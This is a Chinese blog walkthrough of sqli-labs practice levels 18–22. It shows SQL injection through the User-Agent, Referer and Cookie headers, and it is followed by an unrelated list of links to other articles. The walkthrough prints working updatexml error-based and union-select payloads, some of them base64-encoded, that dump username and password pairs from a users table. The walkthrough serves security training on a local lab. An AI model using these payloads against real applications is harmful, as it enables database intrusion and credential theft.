Less18: User-Agent注入,有错误回显

感叹一句,越来越难了。现在只能先看代码再分析怎么注入了.....

通过代码,发现username和password均做了校验。但是会有一个插入user-agent的sql语句。故要通过user-agent注入。

用户名密码就假设已知为admin/admin了。

还是用updatexml函数,用Burp Suite更改user-agent字段为:

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0' or updatexml(0,concat(0x7e, (select a from (select concat(username,':',password) a from users limit 0,1)x)),1)) -- a

显示报错:XPATH syntax error: '~Dumb:Dumb'

Less19:

与Less18几乎一模一样,就是注入位置变为Referer了

修改Referer为:

http://127.0.0.1/sqli-labs-master/Less-19/' or updatexml(0,concat(0x7e, (select a from (select concat(username,':',password) a from users limit 0,1)x)),1)) -- a

Less20: Cookie注入,有回显

这个开始看了半天没看懂....后来发现原来少看了最前面那个判断是否有cookie的if。

代码逻辑是,如果没有cookie,则生成cookie;如果有cookie则显示cookie相关的信息。

代码中设置cookie时用到的用户名和密码都是有检查的,无法注入。所以要从已有cookie时的查询语句入手。

SELECT * FROM users WHERE username='$cookee' LIMIT 0,1

看到就是普通的select语句,可以直接通过闭合注入。

此外还要知道cookie的格式,从代码中可以看到setcookie('uname', $cookee, time()+3600); 键是uname

故通过Burp suite添加cookie

uname=' union select 1, group_concat(concat(username,':',password)),3 from users -- a

注意,我们并不需要知道真实的用户名和密码,直接通过构造cookie就可以获取数据了。

Less21:Cookie注入,有回显,base64编码

与20的区别是对cookie值用base64进行了编码。故需要将注入语句

') union select 1, group_concat(concat(username,':',password)),3 from users -- a

进行编码,具体Cookie处注入

uname=JykgdW5pb24gc2VsZWN0IDEsIGdyb3VwX2NvbmNhdChjb25jYXQodXNlcm5hbWUsJzonLHBhc3N3b3JkKSksMyBmcm9tIHVzZXJzIC0tIGE=

Less22:Cookie注入,有回显,base64编码

其实就是把之前的单引号换成双引号了。

明文:

" union select 1, group_concat(concat(username,':',password)),3 from users -- a

base64编码的注入信息:

uname=IiB1bmlvbiBzZWxlY3QgMSwgZ3JvdXBfY29uY2F0KGNvbmNhdCh1c2VybmFtZSwnOicscGFzc3dvcmQpKSwzIGZyb20gdXNlcnMgLS0gYQ==

另外提供一个updatexml报错版本

练习用的,想一次性获取所有数据失败了,无法显示那么长的信息,只显示了一截。还是要一条一条的获取。另外用updatexml时在写注入语句的时候前面要加个0x7e,即~符号,可以使信息更加完整。

" or updatexml(1, concat(0x7e,(select a from (select group_concat(concat(username,':',password)) a from users)x),0x7e),0) -- a

base64编码

uname=IiBvciB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsKHNlbGVjdCBhIGZyb20gKHNlbGVjdCBncm91cF9jb25jYXQoY29uY2F0KHVzZXJuYW1lLCc6JyxwYXNzd29yZCkpIGEgZnJvbSB1c2Vycyl4KSwweDdlKSwwKSAtLSBh

【sqli-labs】Less18~Less22的更多相关文章

  1. 【SEED Labs】Public-Key Infrastructure (PKI) Lab

    Lab Overview 公钥加密是当今安全通信的基础,但当通信的一方向另一方发送其公钥时,它会受到中间人的攻击.根本的问题是,没有简单的方法来验证公钥的所有权,即,给定公钥及其声明的所有者信息,如何 ...

  2. 【SEED Labs】DNS Rebinding Attack Lab

    Lab Overview 实验环境下载:https://seedsecuritylabs.org/Labs_16.04/Networking/DNS_Rebinding/ 在这个实验中模拟的物联网设备 ...

  3. 【SEED Labs】TCP Attacks Lab

    Lab Overview 实验环境下载:https://seedsecuritylabs.org/Labs_16.04/Networking/TCP_Attacks/ 本实验涵盖以下课题: • TCP ...

  4. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  5. 【移动端】300ms延迟以及点透事件原因以及解决方案

    产生原因 移动端会有双击缩放的这个操作,因此浏览器在click之后要等待300ms,看用户有没有下一次点击,也就是这次操作是不是双击 说完移动端点击300ms延迟的问题,还不得不提一下移动端点击穿透的 ...

  6. Android加载/处理超大图片神器!SubsamplingScaleImageView(subsampling-scale-image-view)【系列1】

    Android加载/处理超大图片神器!SubsamplingScaleImageView(subsampling-scale-image-view)[系列1] Android在加载或者处理超大巨型图片 ...

  7. SQLi_Labs通关文档【1-65关】

    SQLi_Labs通关文档[1-65关] 为了不干扰自己本机环境,SQL-LAB我就用的码头工人,跑起来的,搭建也非常简单,也就两条命令 docker pull acgpiano/sqli-labs ...

  8. 【AR实验室】mulberryAR : ORBSLAM2+VVSION

    本文转载请注明出处 —— polobymulberry-博客园 0x00 - 前言 mulberryAR是我业余时间弄的一个AR引擎,目前主要支持单目视觉SLAM+3D渲染,并且支持iOS端,但是该引 ...

  9. 【.net 深呼吸】细说CodeDom(1):结构大观

    CodeDom 是啥东东?Html Dom听过吧,XML Dom听过吧.DOM一般可翻译为 文档对象模型,那 Code + DOM呢,自然是指代码文档模型了.如果你从来没接触过 CodeDom,你大概 ...

随机推荐

  1. Java Map在遍历过程中删除元素

    Java中的Map如果在遍历过程中要删除元素,除非通过迭代器自己的remove()方法,否则就会导致抛出ConcurrentModificationException异常.JDK文档中是这么描述的: ...

  2. LinkedHashMap实现LRU缓存算法

    LinkedHashMap的get()方法除了返回元素之外还可以把被访问的元素放到链表的底端,这样一来每次顶端的元素就是remove的元素. 构造函数如下: public LinkedHashMap  ...

  3. 【译】第八篇 SQL Server安全数据加密

    本篇文章是SQL Server安全系列的第八篇,详细内容请参考原文. Relational databases are used in an amazing variety of applicatio ...

  4. canvas粒子背景

  5. 【blog】用emoji-java解决Emoji存储MySQL乱码问题

    emoji-java 核心方法: EmojiParser.parseToAliases(string); 将表情符号转为字符 EmojiParser.parseToUnicode(string); 将 ...

  6. logistic回归为什么要使用sigmoid函数

    https://www.baidu.com/link?url=LnDjrhLG7Fx6YVgR9WljUILkPZrIzOR402wr2goIS-ARtDv9TwZ2VYVbY74fyVpQlE22n ...

  7. MySql cmd下的学习笔记 —— 有关视图的操作(建立表)

    在查询中,我们经常把查询结果当成临时表 view可以看成是一张虚拟表,是表通过某种运算得到的一个投影 在建立视图时,不需要指定视图的列名与列类型 红框内的为select选择语句 蓝框内的与建表语句类似 ...

  8. Qemu-KVM管理

    内容: 一.KVM基本配置 二.KVM网络的桥接 三.创建虚拟机 四.虚拟机的关闭和启动 关于KVM: 1).KVM是开源软件,全称是kernel-based virtual machine(基于内核 ...

  9. go 单引号,双引号,反引号区别

    go里面双引号是字符串,单引号是字符,不存在单引号字符串. 但有反引号字符串,就是esc键下面1键左边tab键上面那个键,区别是反引号字符串允许换行符

  10. jenkins服务器上安装配置Android SDK

    1.下载Android SDK http://tools.android-studio.org/index.php/sdk/   我下载的是:android-sdk_r24.4.1-linux.tgz ...